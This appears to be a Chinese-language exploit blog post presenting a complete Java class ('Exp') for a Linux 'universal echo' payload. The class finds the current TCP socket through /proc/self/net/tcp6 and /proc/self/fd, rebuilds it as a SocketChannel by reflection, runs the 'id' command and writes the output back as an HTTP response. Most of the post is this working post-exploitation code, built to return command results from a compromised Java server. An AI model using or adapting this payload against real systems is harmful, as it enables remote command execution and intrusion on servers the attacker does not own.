java_linux通用回显马

在LINUX环境下,可以通过文件描述符”/proc/self/fd/i”获取到网络连接,在java中我们可以直接通过文件描述符获取到一个Stream对象,对当前网络连接进行读写操作,可以釜底抽薪在根源上解决回显问题。

我们怎么获取到tcp6的连接

获取到/proc/self/net/tcp6的inode

然后查看/proc/self/fd下的所有文件的软链接

获取到inode匹配的最后一个的socket

获取到FileDescriptor的值,封装到SocketChannelImpl里面。

然后写入内容,当然你也可以关闭socket连接让后续不去写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package com.n1ght;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.nio.channels.spi.SelectorProvider;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.*;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class Exp {
public Exp() throws Exception {
List<String> canWriteList = new ArrayList<>();
List<Integer> inodeList = new ArrayList<>();
byte[] bytes = Files.readAllBytes(Paths.get("/proc/self/net/tcp6"));
String tcp6 = new String(bytes);
for (String line : tcp6.split("\n")) {
String[] parts = line.trim().split("\\s+");
if (parts.length >= 13) {
String inode = parts[9];
inodeList.add(Integer.parseInt(inode));
}
}
File file = new File("/proc/self/fd");
File[] files = file.listFiles();
for (File f : files) {
if (f.exists()) {
try {
Path path1 = Files.readSymbolicLink(f.toPath());
if (f.canWrite()) {
Pattern pattern = Pattern.compile("socket:\\[(\\d+)]");
Matcher matcher = pattern.matcher(path1.toString());
if (matcher.find()) {
Integer inode = Integer.parseInt(matcher.group(1));
for (Integer integer : inodeList) {
if (Objects.equals(integer, inode)) {
String path = f.getAbsolutePath();
canWriteList.add(path.substring(path.indexOf("/fd/")).replaceAll("/fd/", ""));
}
}
}
}
} catch (Exception e) {
}
}
}
Constructor<FileDescriptor> c = null;
try {
// 获取底层的 FileDescriptor
c = FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
c.setAccessible(true);
Integer i = new Integer(canWriteList.get(canWriteList.size() - 1));
FileDescriptor fileDescriptor = c.newInstance(i);
Class<?> clazz = Class.forName("sun.nio.ch.SocketChannelImpl");
Constructor<?> cons = clazz.getDeclaredConstructor(SelectorProvider.class, FileDescriptor.class, boolean.class);
cons.setAccessible(true);

SelectorProvider provider = SelectorProvider.provider();
SocketChannel sc = (SocketChannel) cons.newInstance(provider, fileDescriptor, false);
Field connectedField = sc.getClass().getDeclaredField("state");
connectedField.setAccessible(true);
connectedField.set(sc, 2);
String ret = file.getCanonicalPath()
+ "/" + canWriteList.get(canWriteList.size() - 1) + ": " +
new Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next() + "\n";
// String ret = new Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next() + "\n";
String header = "HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\nContent-length:"+ret.length()+"\r\n\r\n"+ret;
ByteBuffer buffer = ByteBuffer.wrap(header.getBytes());
while (buffer.hasRemaining()) {
sc.write(buffer);
}
} catch (Exception e) {
throw new RuntimeException(e);
}


}


}